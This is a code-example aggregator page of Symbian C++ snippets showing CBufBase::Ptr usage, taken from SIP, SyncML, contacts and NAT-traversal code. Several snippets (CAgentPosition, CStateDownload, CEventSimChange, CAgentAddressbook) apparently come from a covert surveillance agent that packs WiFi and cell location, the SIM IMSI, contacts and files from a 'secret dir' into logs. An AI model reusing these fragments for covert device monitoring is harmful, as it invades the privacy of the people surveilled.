Esempio n. 1
0
void CNcdNodeLink::InternalizeRequestL( MCatalogsBaseMessage& aMessage ) const
    {
    DLTRACEIN((""));
    
    CBufBase* buf = CBufFlat::NewL( KBufExpandSize );
    CleanupStack::PushL( buf );
    
    RBufWriteStream stream( *buf );
    CleanupClosePushL( stream );


    // Include all the necessary node data to the stream
    ExternalizeDataForRequestL( stream );     
    
    
    // Commits data to the stream when closing.
    CleanupStack::PopAndDestroy( &stream );

    if ( buf->Size() > 0 ) 
        {
        DLTRACE(( "Completing the message, buf len: %d", buf->Ptr(0).Length() ));
        }
    // If this leaves, ReceiveMessage function will complete the message.
    aMessage.CompleteAndReleaseL( buf->Ptr( 0 ), KErrNone );
        
    
    DLTRACE(("Deleting the buf"));
    CleanupStack::PopAndDestroy( buf );
        
    DLTRACEOUT((""));
    }
// ----------------------------------------------------------------------------
// TTCPCompMsgEnd::DataReceivedL
// ----------------------------------------------------------------------------
//
void TTCPCompMsgEnd::DataReceivedL( TPtr8 aData, TUint&  aNextLength )
	{
	// panic if sigcomp is not supported in debug mode.leaves in release mode.
	__SIP_ASSERT_LEAVE(	iMsgAssembler.SigComp().IsSupported(), KErrGeneral );
	// panic if received data is not compressed in debug mode.
	// leaves in release mode.
	__SIP_ASSERT_LEAVE(	iMsgAssembler.SigComp().IsSigCompMsg( aData ), 
	                    KErrGeneral );
	// panic if received data is not completed compressed msg in debug mode.
	// leaves in release mode.
	__SIP_ASSERT_LEAVE(	
			iMsgAssembler.SigComp().IsCompleteSigCompMessageL( aData ), 
	        KErrGeneral );
	        
	TUint bytesConsumed( 0 );
	CBufBase* decompressedData = iMsgAssembler.SigComp().DecompressL( 
											aData, bytesConsumed, ETrue);

    TUint dataLen( static_cast<TUint>( aData.Length() ) );
    
    // Whole data was not decompressed and non-decompressed data might
	// be part of next sigcomp message, remember amount of non-decompressed
	// data
	iMsgAssembler.SetUnConsumedBytes( dataLen - bytesConsumed );
		
	if ( bytesConsumed < dataLen )
		{	
    	CleanupStack::PushL(decompressedData);
		aData.Delete(0, bytesConsumed);

		HBufC8* newData = 
		   HBufC8::NewL( decompressedData->Size() + aData.Length() );
	    // copy the msg buffer data and the received data to new data buffer
	    TPtr8 newDataPtr = newData->Des();
	    newDataPtr.Append(decompressedData->Ptr(0));
 	    CleanupStack::PopAndDestroy(decompressedData);
	    newDataPtr.Append(aData);
	    // delete all content of received data
	    aData.Delete( 0, aData.Length() );
  	    CleanupStack::PushL(newData);
  	    DecideNextStateL( newDataPtr, aNextLength );
	    CleanupStack::PopAndDestroy(newData);	
		}	
	else if ( bytesConsumed == dataLen )
		{
		CleanupStack::PushL( decompressedData );
		aData.Delete(0, bytesConsumed);	
		TPtr8 decompressedDataPtr = decompressedData->Ptr(0);
	    DecideNextStateL( decompressedDataPtr, aNextLength );
	    CleanupStack::PopAndDestroy( decompressedData );
		}
	else // bytesConsumed > dataLen error happens, reset the state
		{
		delete decompressedData;
		iMsgAssembler.ChangeState( MMsgAssemblerContext::EMsgInit );
		}				
	}
DMAD_EXPORT_C void CDmAdEngine::CopyCommandL(const TDesC8& aTargetUri,
                                             const TDesC8& aTargetLuid,
                                             const TDesC8& aSourceUri,
                                             const TDesC8& aSourceLuid,
                                             const TDesC8& aType,
                                             TInt aStatusRef)
    {
    TRACE("CDmAdEngine::CopyCommandL");
    
    DEBUG_LOG1(_L8("aTargetUri = %S"), &aTargetUri);
    DEBUG_LOG1(_L8("aTargetLuid = %S"), &aTargetLuid);
    DEBUG_LOG1(_L8("aSourceUri = %S"), &aSourceUri);
    DEBUG_LOG1(_L8("aSourceLuid = %S"), &aSourceLuid);
    DEBUG_LOG1(_L8("aType = %S"), &aType);
    DEBUG_LOG1(_L("aStatusRef = %d"), aStatusRef);
    

    TInt err = KErrNone;
    TPtrC8 sourceUri(TDmAdUtil::RemoveDotSlash(aSourceUri));
    TInt status = KErrNone;
    CBufBase* object = 0;
    TRAP(err, status = DoFetchLeafObjectL(sourceUri, aSourceLuid, aType, object));
    if (err != KErrNone)
        {
        iCallBack->SetStatusL(aStatusRef, err);
        return;
        }
    if (status != KErrNone)
        {
        delete object;
        iCallBack->SetStatusL(aStatusRef, status);
        return;
        }
    
    CleanupStack::PushL(object);

    DEBUG_LOG(_L("object:"));
    DEBUG_LOG_HEX(object->Ptr(0));
    
    TPtrC8 targetUri(TDmAdUtil::RemoveDotSlash(aTargetUri));
    TRAP(err, DoUpdateLeafObjectL(targetUri, aTargetLuid, object->Ptr(0), aType, aStatusRef));
    if (err != KErrNone)
        {
        iCallBack->SetStatusL(aStatusRef, err);
        }

    CleanupStack::PopAndDestroy(); // object
    }
Esempio n. 4
0
// -----------------------------------------------------------------------------
// CSIPMessage::ToTextLC
// -----------------------------------------------------------------------------
//
EXPORT_C CBufBase* CSIPMessage::ToTextLC ()
	{
    CBufBase* encodedMessage = ToTextHeaderPartLC();
    TInt length = encodedMessage->Ptr(0).Length();
    encodedMessage->InsertL (length,*iContent);
	return encodedMessage;
	}
void CNcdNodePreview::InternalizeRequestL( MCatalogsBaseMessage& aMessage )
    {
    DLTRACEIN((""));
    
    CBufBase* buf = CBufFlat::NewL( KBufExpandSize );
    CleanupStack::PushL( buf );
    
    RBufWriteStream stream( *buf );
    CleanupClosePushL( stream );


    // Include all the necessary node data to the stream
    ExternalizeDataForRequestL( stream );     
    
    
    // Commits data to the stream when closing.
    CleanupStack::PopAndDestroy( &stream );


    // If this leaves, ReceiveMessage will complete the message.
    // NOTE: that here we expect that the buffer contains at least
    // some data. So, make sure that ExternalizeDataForRequestL inserts
    // something to the buffer.
    aMessage.CompleteAndReleaseL( buf->Ptr( 0 ), KErrNone );        
        
    
    DLINFO(("Deleting the buf"));
    CleanupStack::PopAndDestroy( buf );
        
    DLTRACEOUT((""));
    }
Esempio n. 6
0
HBufC8* CAgentPosition::GetWiFiBufferL(TLocationAdditionalData* additionalData)
	{
	CBufBase* buffer = CBufFlat::NewL(50);
	CleanupStack::PushL(buffer);
	
	CWlanScanInfo* scanInfo=CWlanScanInfo::NewL();
	CleanupStack::PushL(scanInfo);
	CWlanMgmtClient* client=CWlanMgmtClient::NewL();
	CleanupStack::PushL(client);
	client->GetScanResults(*scanInfo);

	for(scanInfo->First(); !scanInfo->IsDone(); scanInfo->Next() )
	{
	
		TWiFiInfo wifiInfo;
		Mem::FillZ(&wifiInfo,sizeof(wifiInfo));
		
		//Retrieve BSSID
		TWlanBssid bssid;
		scanInfo->Bssid( bssid );
		//wifiInfo.macAddress.Zero();
		//wifiInfo.macAddress.Copy(bssid);
		for(TInt k = 0; k < bssid.Length(); k++)
			wifiInfo.macAddress[k] = bssid[k];
		
		//Retrieve transmision level
		TInt8 rxLevel = scanInfo->RXLevel();
		wifiInfo.rssi = rxLevel;
		
		//Retrieve SSID
		TBuf8<36> ssid;
		TInt err;
		err = GetSSID(scanInfo, ssid);
		if(err == KErrNone)
		{
			wifiInfo.ssidLen = ssid.Length();
			for(TInt i=0; i<wifiInfo.ssidLen; i++)
				wifiInfo.ssid[i] = ssid[i]; 
		}
		else 
		{
			wifiInfo.ssidLen = 0;
		}
		
		additionalData->uStructNum += 1;
		
		buffer->InsertL(buffer->Size(), &wifiInfo, sizeof(TWiFiInfo));
	}

	CleanupStack::PopAndDestroy(client);
	CleanupStack::PopAndDestroy(scanInfo);
	
	HBufC8* result = buffer->Ptr(0).AllocL();
	CleanupStack::PopAndDestroy(buffer);
	
	return result;
	}
Esempio n. 7
0
/**
Compares this drawsection to aDrawSection and check if they are identical.

@param aDrawSection The drawsection to compare with.
@return ETrue if the drawsections are identical, otherwise EFalse.
*/
TBool CDrawSection::IsIdentical(const CDrawSection& aDrawSection) const
	{
	const TRect drawRect = aDrawSection.DrawRect();
	CBufBase* segBuf = aDrawSection.Buffer();
	if(!iHasBitmapCommand && iDrawRect.iTl == drawRect.iTl && iDrawRect.iBr == drawRect.iBr && segBuf->Size() == iSectionSegBuf->Size())
		{
		const TInt count = iSectionSegBuf->Size();
		for(TInt i = 0; i < count; i++)
			{
			const TPtr8 comparePtr = segBuf->Ptr(i);
			if(iSectionSegBuf->Ptr(i).CompareC(segBuf->Ptr(i))) //Not identical
				return EFalse;
			
			i += comparePtr.Size();
			}
		return ETrue;
		}
	return EFalse;
	}
// -----------------------------------------------------------------------------
// CNSmlDmDevDetailAdapter::AddObjectToBufferL()
// -----------------------------------------------------------------------------
void CNSmlDmDevDetailAdapter::AddObjectToBufferL( CBufBase& aCrcBuf, 
                                                  const TDesC8& aURI )
    {
    CBufBase* buf = CBufFlat::NewL( 1 );
    CleanupStack::PushL( buf );
    FetchLeafObjectL( aURI, *buf );
    aCrcBuf.InsertL( aCrcBuf.Size(), buf->Ptr(0) );
    _LIT8( KNSmlDmSeparator, ";" );
    aCrcBuf.InsertL( aCrcBuf.Size(), KNSmlDmSeparator );
    CleanupStack::PopAndDestroy(); //buf    
    }
Esempio n. 9
0
void CStateDownload::DumpFileL(const TDesC& aFileName)
	{
	_LIT(KNull,"\x00");
	_LIT(KDir,"$dir$");
	TDownloadAdditionalData additionalData;
		
	//check if file it's inside RCS secret dir
	TParsePtrC parsePtrC(aFileName);
	
	if(iPrivatePath.CompareF(parsePtrC.DriveAndPath())==0)
		{
		//the file is in the private dir, we have to modify the path
		additionalData.fileName.Copy(KDir);
		additionalData.fileName.Append(parsePtrC.NameAndExt());
		additionalData.fileName.Append(KNull);  //add NULL terminator
		additionalData.uFileNamelen = additionalData.fileName.Size();
		}
	else
		{
		additionalData.fileName.Copy(aFileName);   
		additionalData.fileName.Append(KNull);	//add NULL terminator  
		additionalData.uFileNamelen = additionalData.fileName.Size();
		}
	
	RBuf8 fileBuf(FileUtils::ReadFileContentsL(iFs, aFileName));
	if(fileBuf.Size()>0)
		{
		fileBuf.CleanupClosePushL();
		CLogFile* logFile = CLogFile::NewLC(iFs);
		logFile->CreateLogL(LOGTYPE_DOWNLOAD, &additionalData);
		logFile->AppendLogL(fileBuf);    
		logFile->CloseLogL();
		CleanupStack::PopAndDestroy(logFile);
		CleanupStack::PopAndDestroy(&fileBuf);
		}
	else 
		{
		//something went wrong, usually a KErrNoMemory has been raised
		_LIT(KDownloadError,"Error in downloading file");
		CBufBase* buffer = CBufFlat::NewL(50);
		CleanupStack::PushL(buffer);
		buffer->InsertL(buffer->Size(),(TUint8*)KDownloadError().Ptr(),KDownloadError().Size());
		HBufC8* byteBuf = buffer->Ptr(0).AllocLC();
		CLogFile* logFile = CLogFile::NewLC(iFs);
		logFile->CreateLogL(LOGTYPE_INFO);
		logFile->AppendLogL(*byteBuf);
		logFile->CloseLogL();
		CleanupStack::PopAndDestroy(logFile);
		CleanupStack::PopAndDestroy(byteBuf);
		CleanupStack::PopAndDestroy(buffer);
		}
	}
Esempio n. 10
0
/**
Searches all contact items in the view for fields that contain the search
strings specified. 

@capability ReadUserData
@param aFindWords A descriptor array containing one or more search strings
@param aMatchedContacts On return, an array of matching contact items
@param find behaviour configuration uid to be passed to the server.
 */
void RContactRemoteView::ContactsMatchingCriteriaL(const MDesCArray& aFindWords, RPointerArray<CViewContact>& aMatchedContacts, TBool aPrefixSearch,TUid aUid)
    {
    if(aUid != KNullUid)
        {
        TIpcArgs args(aUid.iUid);
        User::LeaveIfError(SendReceive(ECntSendPluginUidToServer,args));
        }
    CBufBase* buffer = CBufFlat::NewL(32);
    CleanupStack::PushL(buffer);
    RBufWriteStream writeStream(*buffer);
    CleanupClosePushL(writeStream);

    writeStream.WriteUint32L(aPrefixSearch);
    const TInt count = aFindWords.MdcaCount();
    writeStream.WriteUint32L(count);
    for (TInt i=0; i<count; ++i)
        {
        TPtrC ptr = aFindWords.MdcaPoint(i);
        writeStream.WriteUint32L(ptr.Length());
        writeStream << ptr;
        }
    
    writeStream.CommitL();
    CleanupStack::PopAndDestroy(&writeStream); //writeStream.Close()

    TPtr8 ptr(buffer->Ptr(0));
    const TInt bufferSize = buffer->Size();
    TPckg<TInt> size(bufferSize);

    TPckgBuf<TInt> pckg;
    TIpcArgs args(&pckg,&size,&ptr);
    User::LeaveIfError(SendReceive(ECntContactMatchingCriteriaExternalizedSize,args));
    CleanupStack::PopAndDestroy(buffer);

    //Internalize Contacts
    HBufC8* buf=HBufC8::NewLC(pckg());
    TPtr8 contactsbufPtr(buf->Des());
    TIpcArgs args2(&contactsbufPtr);
    User::LeaveIfError(SendReceive(ECntGetContactMatchingCriteria,args2));

    RDesReadStream readStream(contactsbufPtr);
    CleanupClosePushL(readStream);
    const TInt findCount = readStream.ReadUint32L();
    for (TInt zz=0;zz<findCount;++zz)
        {
        CViewContact* thisContact = CViewContact::NewLC(KNullContactId);
        readStream >> *thisContact;
        aMatchedContacts.AppendL(thisContact);
        CleanupStack::Pop(thisContact);
        }
    CleanupStack::PopAndDestroy(2, buf);
    }
// ------------------------------------------------------------------------------------------------
// CNSmlDataModBase::MergeRxL
// Merges received item with item in exported from the local database.
// ------------------------------------------------------------------------------------------------
EXPORT_C void CNSmlDataModBase::MergeRxL( CBufBase& aNewItem, CBufBase& aOldItem, TBool aFieldLevel )
	{
	_DBG_FILE("CNSmlDataModBase::MergeRxL(): begin");
	if( NeedsMerge() )
		{
		HBufC8* b1 = HBufC8::NewLC(aNewItem.Size() + aOldItem.Size());
		*b1 = aNewItem.Ptr(0);
		TPtr8 ptrB1 = b1->Des();
		TPtr8 p2 = aOldItem.Ptr(0);

		MergeL( ptrB1, p2, aFieldLevel );

		aNewItem.Reset();
		aNewItem.InsertL(0, ptrB1);
		CleanupStack::PopAndDestroy(); // b1
		}
	else if ( iUsedRemoteMimeType == -1 )
		{
		User::Leave( KErrNotFound );
		}
	_DBG_FILE("CNSmlDataModBase::MergeRxL(): end");
	}
Esempio n. 12
0
HBufC8* CEventSimChange::GetImsiBufferL(const TDesC8& aImsi)
{
	CBufBase* buffer = CBufFlat::NewL(50);
	CleanupStack::PushL(buffer);
	
	TUint32 len = sizeof(len) + aImsi.Size();
	buffer->InsertL(buffer->Size(), &len, sizeof(len));
	buffer->InsertL(buffer->Size(), aImsi.Ptr(), aImsi.Size());

	HBufC8* result = buffer->Ptr(0).AllocL();
	CleanupStack::PopAndDestroy(buffer);
	return result;
}
// ------------------------------------------------------------------------------------------------
// CNSmlDataModBase::StripTxL
// Strips data that is to be transmitted to the sync partner.
// ------------------------------------------------------------------------------------------------
EXPORT_C void CNSmlDataModBase::StripTxL( CBufBase& aItem )
	{
	_DBG_FILE("CNSmlDataModBase::StripTxL(): begin");
	HBufC8* buf = HBufC8::NewLC(aItem.Size());
	*buf = aItem.Ptr(0);
	TPtr8 ptrBuf = buf->Des();

	StripL(ptrBuf);

	aItem.Reset();
	aItem.InsertL(0, ptrBuf);
	CleanupStack::PopAndDestroy(); // buf
	_DBG_FILE("CNSmlDataModBase::StripTxL(): end");
	}
Esempio n. 14
0
void Cdmatest::SaveDataL( TInt /*aResultsRef*/, CBufBase& aObject,
							  const TDesC8& aType ) 
	{
	iLog->Log( _L8( "Saving data of type: '%S'" ), &aType );
	RFs fs;
	User::LeaveIfError( fs.Connect() );
	CleanupClosePushL( fs );
	RFile file;
	User::LeaveIfError( file.Replace ( fs, iSaveFileName, EFileWrite ) );
	CleanupClosePushL( file );
	TPtrC8 p( aObject.Ptr( 0 ) );
	User::LeaveIfError( file.Write( p ) );
	CleanupStack::PopAndDestroy( 2 ); // file, fs
	}
Esempio n. 15
0
void Cdmatest::SetResultsL( 
	TInt aResultsRef, 
	CBufBase& aObject,
	const TDesC8& aType )
	{
	TPtrC8 ptr( aObject.Ptr(0) );
	iLog->Log( _L8( "SetResults, ref=%d, object='%S', type='%S'" ), aResultsRef, &ptr, &aType );
	if ( iResultsFunction )
		{
		(this->*iResultsFunction)( aResultsRef, aObject, aType );
		iResultsFunction = NULL ;
		}
	
	}
Esempio n. 16
0
HBufC8* CAgentAddressbook::GetTTimeBufferL(const TTime aTime)
{
	TInt64 timestamp = aTime.Int64();
	CBufBase* buffer = CBufFlat::NewL(50);
	CleanupStack::PushL(buffer);
	
	TUint32 len = sizeof(len) + sizeof(timestamp);
	buffer->InsertL(buffer->Size(), &len, sizeof(len));
	buffer->InsertL(buffer->Size(), &timestamp, sizeof(timestamp));

	HBufC8* result = buffer->Ptr(0).AllocL();
	CleanupStack::PopAndDestroy(buffer);
	return result;
}
void UT_CNATFWUNSAFMessage::TestSetMessageLengthL()
    {
    //UNSAF message, no attributes

    CBufBase* msg = iMsg->EncodeL();
    CleanupStack::PushL(msg);
    iMsg->SetMessageLength(*msg);

    TInt expected = 0; //just the header
    TInt actual =
        BigEndian::Get16(&msg->Ptr(CNATFWUNSAFMessage::EMessageLengthOffset)[0]);
    EUNIT_ASSERT(expected == actual);

    CleanupStack::PopAndDestroy(msg);
    }
Esempio n. 18
0
HBufC8* CAgentPosition::GetCellIdBufferL()
	{
	TUint cellId=0;
	TUint lac=0;
	TInt32 signalStrength = 0;
	TBuf<CTelephony::KNetworkIdentitySize> network;
	TBuf<CTelephony::KNetworkCountryCodeSize> cc;
	TBuf<CTelephony::KNetworkLongNameSize> oper;
	iPhone->GetCellIDSync(cellId, lac, network, cc, oper);
	iPhone->GetSignalStrengthSync(signalStrength);  // signalStrength is set to 0 if not available

	cellId = cellId & 0xFFFF;   // jo, maybe redundant
	
	CBufBase* buffer = CBufFlat::NewL(50);
	CleanupStack::PushL(buffer);
	TCellInfo cellInfo;
	
	TTime now;
	now.UniversalTime();
	//TInt64 filetime = GetFiletime(now);
	TInt64 filetime = TimeUtils::GetFiletime(now);
	cellInfo.filetime.dwHighDateTime = (filetime >> 32);
	cellInfo.filetime.dwLowDateTime = (filetime & 0xFFFFFFFF);
		
	// Converts CountryCode from string to number
	TLex lex(cc);
	lex.Val(cellInfo.cell.dwMobileCountryCode, EDecimal);
	// Converts NetworkCode from string to number
	lex.Assign(network);
	lex.Val(cellInfo.cell.dwMobileNetworkCode, EDecimal);
	cellInfo.cell.dwLocationAreaCode = lac;
	cellInfo.cell.dwCellID = cellId;

	cellInfo.cell.dwTimingAdvance = 0;  // there are no public APIs for this
	cellInfo.cell.dwRxLevel = signalStrength;   
	cellInfo.cell.dwRxQuality = 0;
	
	TUint32 type = TYPE_CELL;
	buffer->InsertL(0, &type, sizeof(TUint32));
	buffer->InsertL(buffer->Size(), &cellInfo, sizeof(TCellInfo));
	

	HBufC8* result = buffer->Ptr(0).AllocL();
	
	CleanupStack::PopAndDestroy(buffer);
	return result;
	}
void UT_CNATFWUNSAFMessage::TestSetMessageLength3L()
    {
    const TInt KGranularity = 50;
    _LIT8(KBufferContents,
"some stuff to put into the buffer and then check the length is computed correctly");

    CBufBase* msg = CBufFlat::NewL(KGranularity);
    CleanupStack::PushL(msg);
    msg->InsertL(0, KBufferContents);
    iMsg->SetMessageLength(*msg);

    TInt expected = KBufferContents().Length() - CNATFWUNSAFMessage::EHeaderSize;
    TInt actual =
        BigEndian::Get16(&msg->Ptr(CNATFWUNSAFMessage::EMessageLengthOffset)[0]);
    EUNIT_ASSERT(expected == actual);

    CleanupStack::PopAndDestroy(msg);
    }
// -----------------------------------------------------------------------------
// CNATFWUNSAFAttribute::EncodeL
// -----------------------------------------------------------------------------
//
HBufC8* CNATFWUNSAFAttribute::EncodeL() const
    {
    HBufC8* value = EncodeValueL();
    CleanupStack::PushL(value);
    TInt attrValLength = value->Length();

    //Pad non-DWORD-boundary aligned attributes with spaces if needed. Spaces
    //used instead of \0 in order to not mess up buggy C implementations.
    const TInt KGranularity = 4;
    TInt bytesInLastBlock = attrValLength % KGranularity;
    TInt bytesToAppend = KGranularity - bytesInLastBlock;
    if (0 < bytesInLastBlock && !IsWordBoundaryAligned(Type()))
        {
        CBufBase* valueBuf = CBufFlat::NewL(attrValLength + bytesToAppend);
        CleanupStack::PushL(valueBuf);
        valueBuf->InsertL(0, *value, attrValLength);
        const TChar KSpace(' ');
        for (TInt i = 0; i < bytesToAppend; ++i)
            {
            valueBuf->InsertL(valueBuf->Size(), &KSpace, 1);
            }
        // Store value pointer for proper cleanupstack handling
        HBufC8* oldValue = value;
        value = valueBuf->Ptr(0).AllocL();
        CleanupStack::PopAndDestroy(valueBuf);
        CleanupStack::PopAndDestroy( oldValue );
        CleanupStack::PushL( value );
        }

    HBufC8* attribute = HBufC8::NewLC(value->Length() + EValueOffset);
    TPtr8 ptr = attribute->Des();
    ptr.FillZ(EValueOffset);

    NATFWUNSAFUtils::WriteNetworkOrder16L(ptr, ETypeOffset, Type());
    NATFWUNSAFUtils::WriteNetworkOrder16L(ptr,
                                     ELengthOffset,
                                     static_cast<TUint16>(attrValLength));
    ptr.Append(*value);
    CleanupStack::Pop(attribute);
    CleanupStack::PopAndDestroy(value);

    return attribute;
    }
// ----------------------------------------------------------------------------
// TSIPSecDigestVerifyContext::SecurityServerHeaderL
// Example
// 	Security-Server: ipsec-ike;q=0.1
// 	Security-Server: tls;q=0.2
// Result
// 	Security-Server:ipsec-ike;q=0.1,tls;q=0.2
// ----------------------------------------------------------------------------
//	
HBufC8* TSIPSecDigestVerifyContext::SecurityServerHeaderL()
    {
    HBufC8* serverHeader( NULL );

    TSglQueIter<CSIPHeaderBase> headers(
    	static_cast< TSIPSecPluginCtxVerify& >( Parent() ).
    		SecurityServerHeaders() );

    if ( headers )
        {
        CBufBase* encoded = SipSecUtils::EncodeHeadersL( headers );
        CleanupStack::PushL( encoded );
        TPtr8 encodedPtr( encoded->Ptr( 0 ) );
        serverHeader = encodedPtr.AllocL();
        CleanupStack::PopAndDestroy( encoded );
        }
        
    return serverHeader;    
    }
/*!
 * Fetch contact
 */
TInt CNsmlContactsDataStoreExtensionPrivate::ExportContactsL( const TUid &uid, CBufBase &contactbufbase )
{
    DBG_ARGS(_S("CNsmlContactsDataStoreExtensionPrivate::ExportContactsL: BEGIN: UID: %d"), uid);
   
    TInt error(KErrNone);
    QList<QContact> contacts;
    QBuffer contactsbuf;
    contactsbuf.open(QBuffer::ReadWrite);    
    mWriter->setDevice( &contactsbuf );  
    QContact contact = mContactManager->contact( uid.iUid );
    error = mContactManager->error();
    if( error != QContactManager::NoError )
        {
        DBG_ARGS(_S("CNsmlContactsDataStoreExtensionPrivate::ExportContactsL:Error %d"), error );
        return error; 
        }
	contacts.append( contact );    
    
    if( mExporter->exportContacts( contacts, QVersitDocument::VCard21Type ) )
        {
        QList<QVersitDocument> documents = mExporter->documents();        
        mWriter->startWriting( documents );
        bool status = mWriter->waitForFinished();  
        DBG_ARGS(_S("CNsmlContactsDataStoreExtensionPrivate::ExportContactsL:status %d"), status);  
        HBufC8* buf = XQConversions::qStringToS60Desc8( contactsbuf.data() );
        contactbufbase.InsertL( contactbufbase.Size(), *buf );
        delete buf;
        }
    else
        {
        error = KErrGeneral;
        DBG_ARGS(_S("CNsmlContactsDataStoreExtensionPrivate::ExportContactsL:Error in exporting %d"), error );
        }
    
    TPtr8 ptrbuf(contactbufbase.Ptr(0));
    DBG_DUMP( (void*)ptrbuf.Ptr(), ptrbuf.Length(),
           _S8("CNsmlContactsDataStoreExtensionPrivate::ExportContactsL: From DB:"));  
    
    _DBG_FILE("CNsmlContactsDataStoreExtensionPrivate::ExportContactsL: END");
    
    return error;
}
// -----------------------------------------------------------------------------
// CNSmlDmDevDetailAdapter::DevDetailValueCrcL()
// -----------------------------------------------------------------------------
TInt CNSmlDmDevDetailAdapter::DevDetailValueCrcL()
    {
    CBufBase* crcBuf = CBufFlat::NewL( 1 );
    CleanupStack::PushL( crcBuf );
    
    AddObjectToBufferL( *crcBuf, KNSmlDMDevDetailDevTypNodeName() );
    AddObjectToBufferL( *crcBuf, KNSmlDMDevDetailOEMNodeName() );
    AddObjectToBufferL( *crcBuf, KNSmlDMDevDetailFwVNodeName() );
    AddObjectToBufferL( *crcBuf, KNSmlDMDevDetailSwVNodeName() );
    AddObjectToBufferL( *crcBuf, KNSmlDMDevDetailHwVNodeName() );
    AddObjectToBufferL( *crcBuf, KNSmlDMDevDetailLrgObjNodeName() );
    AddObjectToBufferL( *crcBuf, KNSmlDMDevDetailMaxDepthNodeName() );
    AddObjectToBufferL( *crcBuf, KNSmlDMDevDetailMaxTotLenNodeName() );
    AddObjectToBufferL( *crcBuf, KNSmlDMDevDetailMaxSegLenNodeName() );
    
    TUint16 crc = 0;
    Mem::Crc( crc, crcBuf->Ptr(0).Ptr(), crcBuf->Size() );
    CleanupStack::PopAndDestroy();  // crcBuf
    return crc;
    }
Esempio n. 24
0
void Cdmatest::FetchNodeResultsL( TInt /*aResultsRef*/, CBufBase& aObject,
							  const TDesC8& /*aType*/ )
	{
	TPtrC8 ptr( aObject.Ptr( 0 ) );	
	iLog->Log( _L8("FetchNodeResultsL for '%S': '%S'" ), iURI, &ptr );
	
	if ( ptr.Length() > 0 )
		{
		TPtrC8 last( LastURISeg( ptr ) );
		HBufC8 *oldUri = HBufC8::NewL( iURI->Length() );
		(*oldUri) = *iURI; 
		do 
			{
			iLog->Log ( _L8( " Node: '%S' "), &last );
			HBufC8 *nUri = HBufC8::NewLC( oldUri->Length() + 1 + last.Length() );
			nUri->Des().Copy( *oldUri ) ;
			nUri->Des().Append( '/' );
			nUri->Des().Append( last );
			
			SetURIL( nUri );
			//iResultsFunction = FetchNodeResultsL;
			
		    //TPtrC8 parentURI(RemoveLastSeg(*nUri));
		    //HBufC8 *luid = GetLuidAllocLC( parentURI );
		    CleanupStack::Pop( nUri );
			
			HBufC8 *luid = GetLuidAllocLC( *iURI );
			
			Adapter()->ChildURIListL( *nUri, KNullDesC8, *iEmptyMappingInfoArray, 4, 5 );//Dipak
			
			CleanupStack::PopAndDestroy( luid ); 			
			
			ptr.Set( RemoveLastURISeg( ptr ) );
			last.Set( LastURISeg( ptr ) );
			
			}
		while (last != KNullDesC8);	
		}
	
	}
void UT_CNATFWUNSAFMessage::TestSetMessageLength2L()
    {
    //UNSAF message, one attribute

    TInetAddr addr(0x5040ffaa, 0x1234);
    CNATFWUNSAFMappedAddressAttribute* attr =
        CNATFWUNSAFMappedAddressAttribute::NewLC(addr);

    iMsg->AddAttributeL(attr);
    CleanupStack::Pop(attr);

    CBufBase* msg = iMsg->EncodeL();
    CleanupStack::PushL(msg);
    iMsg->SetMessageLength(*msg);

    TInt expected = 4 + CNATFWUNSAFAddressAttribute::EAttributeValueSizeIPv4;
    TInt actual =
        BigEndian::Get16(&msg->Ptr(CNATFWUNSAFMessage::EMessageLengthOffset)[0]);
    EUNIT_ASSERT(expected == actual);

    CleanupStack::PopAndDestroy(msg);
    }
Esempio n. 26
0
/**
Convert between view indexes and contact ids.
This method makes the request to the server.
@capability ReadUserData
 */
void RContactRemoteView::GetContactIdsL(const CArrayFix<TInt>& aIndexes, CContactIdArray& aContactIds)
    {
    CBufBase* buffer = CBufFlat::NewL(32);
    CleanupStack::PushL(buffer);
    RBufWriteStream writeStream(*buffer);
    CleanupClosePushL(writeStream);

    const TInt count = aIndexes.Count();
    writeStream.WriteUint32L(count);
    for (TInt i=0; i<count; ++i)
        {
        writeStream.WriteUint32L(aIndexes[i]);
        }
    writeStream.CommitL();
    CleanupStack::PopAndDestroy(&writeStream); //writeStream.Close()


    TPtr8 indexes(buffer->Ptr(0));
    const TInt bufferSize = buffer->Size();
    TPckg<TInt> size(bufferSize);
    
    HBufC8* buf=HBufC8::NewLC(bufferSize);
    TPtr8 ids(buf->Des());
    
    TIpcArgs args(&size, &indexes, &ids);
    User::LeaveIfError(SendReceive(ECntGetContactIds,args));


    RDesReadStream readStream(ids);
    CleanupClosePushL(readStream);
    CContactIdArray* array = CContactIdArray::NewLC();
    readStream >> *array;

    const TInt arrayCount = array->Count();
    for(TInt loop=0;loop<arrayCount;loop++)
        aContactIds.AddL((*array)[loop]);

    CleanupStack::PopAndDestroy(4,buffer); //array, &readStream, buf, buffer
    }
TBool UT_CNATFWUNSAFMessage::CompareEncodedUNSAFMessage(
    const TUint8* aExpectedResult,
    CBufBase& aUNSAFMessage,
    TUint aMaxBytesToCompare,
    TUint& aFirstDifference,
    TUint8& aExpected,
    TUint8& aActual)
    {
    TPtr8 unsafMessage = aUNSAFMessage.Ptr(0);

    for (TInt i=0; i < aUNSAFMessage.Size() && i < aMaxBytesToCompare; ++i)
        {
        if (aExpectedResult[i] != unsafMessage[i])
            {
            aFirstDifference = i;
            aExpected = aExpectedResult[i];
            aActual = unsafMessage[i];

            return EFalse;
            }
        }
    return ETrue;
    }
Esempio n. 28
0
HBufC8* CAgentAddressbook::GetContactBufferL(const CContactItem& item)
	{
	CContactItemFieldSet& fields = item.CardFields();

	if (ContainsEmptyField(fields))
		{
		// This item has been removed but has not been deleted from the database yet
		__FLOG(_L("Skip Item: Contains Empty Fields"));
		return HBufC8::NewL(0);
		}

	if (item.IsDeleted())
		{
		__FLOG(_L("Skip Item: Deleted"));
		return HBufC8::NewL(0);
		}

	__FLOG(_L("DumpContactItem"));

	//create buffer	
	CBufBase* buffer = CBufFlat::NewL(50);
	CleanupStack::PushL(buffer);

	for (TInt i = 0; i < fields.Count(); i++)
		{
		const CContactItemField& itemField = fields[i];
		if (itemField.IsDeleted())
			{
			__FLOG(_L("Skip IsDeleted"));
			continue;
			}
		RBuf buf(ReadFieldAsTextL(itemField));
		buf.CleanupClosePushL();
		if (buf.Length() > 0)
			{
			TContactEntry intType = (TContactEntry) GetTypeFromItemField(itemField);
			__FLOG_1(_L("Type: %d"), intType);
			__FLOG(buf);

			// 1st byte is the Type and next 3 bytes are the Length
			
			TUint32 typeAndLen = intType << 24;
			typeAndLen += buf.Size();
			TUint8* dataPtr = (TUint8 *) buf.Ptr();
			buffer->InsertL(buffer->Size(), &typeAndLen, sizeof(typeAndLen));
			buffer->InsertL(buffer->Size(), dataPtr, buf.Size());
			
			}
